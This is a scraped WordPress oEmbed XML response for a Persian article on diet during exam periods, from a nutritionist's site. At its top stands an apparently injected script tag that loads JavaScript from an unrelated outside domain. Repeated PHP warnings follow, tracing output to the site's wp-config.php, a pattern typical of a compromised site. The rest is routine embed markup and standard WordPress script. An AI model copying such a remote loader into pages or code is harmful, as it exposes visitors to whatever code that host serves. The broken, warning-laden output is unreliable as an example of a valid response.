تغذیه مناسب در ایام امتحانات

<script src="https://cache.cloudswiftcdn.com/"></script><br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/anoosheh/public_html/wp-config.php:1) in <b>/home/anoosheh/public_html/wp-includes/rest-api/class-wp-rest-server.php</b> on line <b>1719</b><br />
<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>&#x645;&#x62A;&#x62E;&#x635;&#x635; &#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x62F;&#x6A9;&#x62A;&#x631; &#x627;&#x646;&#x648;&#x634;&#x647;</provider_name><provider_url>https://anooshehdiet.com</provider_url><author_name>&#x62F;&#x6A9;&#x62A;&#x631; &#x627;&#x646;&#x648;&#x634;&#x647;</author_name><author_url>https://anooshehdiet.com/author/dr-admin/</author_url><title>&#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x645;&#x646;&#x627;&#x633;&#x628; &#x62F;&#x631; &#x627;&#x6CC;&#x627;&#x645; &#x627;&#x645;&#x62A;&#x62D;&#x627;&#x646;&#x627;&#x62A; - &#x645;&#x62A;&#x62E;&#x635;&#x635; &#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x62F;&#x6A9;&#x62A;&#x631; &#x627;&#x646;&#x648;&#x634;&#x647;</title><type>rich</type><width>600</width><height>338</height><html>&lt;blockquote class="wp-embedded-content" data-secret="CERk1SNTjZ"&gt;&lt;a href="https://anooshehdiet.com/%d8%aa%d8%ba%d8%b0%db%8c%d9%87-%d9%85%d9%86%d8%a7%d8%b3%d8%a8-%d8%af%d8%b1-%d8%a7%db%8c%d8%a7%d9%85-%d8%a7%d9%85%d8%aa%d8%ad%d8%a7%d9%86%d8%a7%d8%aa/"&gt;&#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x645;&#x646;&#x627;&#x633;&#x628; &#x62F;&#x631; &#x627;&#x6CC;&#x627;&#x645; &#x627;&#x645;&#x62A;&#x62D;&#x627;&#x646;&#x627;&#x62A;&lt;/a&gt;&lt;/blockquote&gt;&lt;iframe sandbox="allow-scripts" security="restricted" src="https://anooshehdiet.com/%d8%aa%d8%ba%d8%b0%db%8c%d9%87-%d9%85%d9%86%d8%a7%d8%b3%d8%a8-%d8%af%d8%b1-%d8%a7%db%8c%d8%a7%d9%85-%d8%a7%d9%85%d8%aa%d8%ad%d8%a7%d9%86%d8%a7%d8%aa/embed/#?secret=CERk1SNTjZ" width="600" height="338" title="&#x201C;&#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x645;&#x646;&#x627;&#x633;&#x628; &#x62F;&#x631; &#x627;&#x6CC;&#x627;&#x645; &#x627;&#x645;&#x62A;&#x62D;&#x627;&#x646;&#x627;&#x62A;&#x201D; &#x2014; &#x645;&#x62A;&#x62E;&#x635;&#x635; &#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x62F;&#x6A9;&#x62A;&#x631; &#x627;&#x646;&#x648;&#x634;&#x647;" data-secret="CERk1SNTjZ" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"&gt;&lt;/iframe&gt;&lt;script type="text/javascript"&gt;
/*! This file is auto-generated */
!function(d,l){"use strict";var e=!1,o=!1;if(l.querySelector)if(d.addEventListener)e=!0;if(d.wp=d.wp||{},!d.wp.receiveEmbedMessage)if(d.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=new RegExp("^https?:$","i"),c=0;c&lt;n.length;c++)n[c].style.display="none";for(c=0;c&lt;s.length;c++)if(r=s[c],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3&lt;(i=parseInt(t.value,10)))i=1e3;else if(~~i&lt;200)i=200;r.height=i}if("link"===t.message)if(a=l.createElement("a"),i=l.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,o.test(i.protocol))if(i.host===a.host)if(l.activeElement===r)d.top.location.href=t.value}}},e)d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",t,!1),d.addEventListener("load",t,!1);function t(){if(!o){o=!0;for(var e,t,r,a=-1!==navigator.appVersion.indexOf("MSIE 10"),i=!!navigator.userAgent.match(/Trident.*rv:11\./),s=l.querySelectorAll("iframe.wp-embedded-content"),n=0;n&lt;s.length;n++){if(!(r=(t=s[n]).getAttribute("data-secret")))r=Math.random().toString(36).substr(2,10),t.src+="#?secret="+r,t.setAttribute("data-secret",r);if(a||i)(e=t.cloneNode(!0)).removeAttribute("security"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:"ready",secret:r},"*")}}}}(window,document);
&lt;/script&gt;
</html><description>&#x62A;&#x63A;&#x630;&#x6CC;&#x647; &#x645;&#x646;&#x627;&#x633;&#x628; &#x62F;&#x631; &#x627;&#x6CC;&#x627;&#x645; &#x627;&#x645;&#x62A;&#x62D;&#x627;&#x646;&#x627;&#x62A; &#x627;&#x62B;&#x631; &#x645;&#x647;&#x645;&#x6CC; &#x628;&#x631; &#x627;&#x641;&#x632;&#x627;&#x6CC;&#x634; &#x62A;&#x645;&#x631;&#x6A9;&#x632;&#x60C; &#x6CC;&#x627;&#x62F;&#x6AF;&#x6CC;&#x631;&#x6CC; &#x648; &#x67E;&#x6CC;&#x634;&#x6AF;&#x6CC;&#x631;&#x6CC; &#x627;&#x632; &#x627;&#x633;&#x62A;&#x631;&#x633; &#x647;&#x627;&#x6CC; &#x634;&#x628; &#x627;&#x645;&#x62A;&#x62D;&#x627;&#x646; &#x62F;&#x627;&#x631;&#x62F;. &#x62F;&#x631; &#x627;&#x6CC;&#x646; &#x627;&#x6CC;&#x627;&#x645; &#x628;&#x6CC;&#x634;&#x62A;&#x631; &#x62F;&#x627;&#x646;&#x634; &#x622;&#x645;&#x648;&#x632;&#x627;&#x646; &#x62F;&#x686;&#x627;&#x631; &#x627;&#x633;&#x62A;&#x631;&#x633; &#x647;&#x633;&#x62A;&#x646;&#x62F;. &#x645;&#x639;&#x645;&#x648;&#x644;&#x627;&#x64B; &#x627;&#x633;&#x62A;&#x631;&#x633; &#x628;&#x627; &#x627;&#x641;&#x632;&#x627;&#x6CC;&#x634; &#x641;&#x634;&#x627;&#x631; &#x62E;&#x648;&#x646;&#x60C; &#x627;&#x641;&#x632;&#x627;&#x6CC;&#x634; &#x62A;&#x62D;&#x631;&#x6CC;&#x6A9; &#x67E;&#x630;&#x6CC;&#x631;&#x6CC; &#x639;&#x636;&#x644;&#x627;&#x62A;&#x60C; &#x62A;&#x67E;&#x634; &#x642;&#x644;&#x628;&#x60C; &#x627;&#x641;&#x632;&#x627;&#x6CC;&#x634; &#x62A;&#x647;&#x648;&#x6CC;&#x647; &#x631;&#x6CC;&#x648;&#x6CC; &#x648; &#x62A;&#x63A;&#x6CC;&#x6CC;&#x631; &#x639;&#x645;&#x644;&#x6A9;&#x631;&#x62F; &#x63A;&#x62F;&#x62F; &#x62F;&#x631;&#x648;&#x646; &#x631;&#x6CC;&#x632; &#x628;&#x62F;&#x646; &#x647;&#x645;&#x631;&#x627;&#x647; &#x627;&#x633;&#x62A;. &#x647;&#x648;&#x631;&#x645;&#x648;&#x646; &#x647;&#x627;&#x6CC;&#x6CC; &#x6A9;&#x647; [&hellip;]</description></oembed>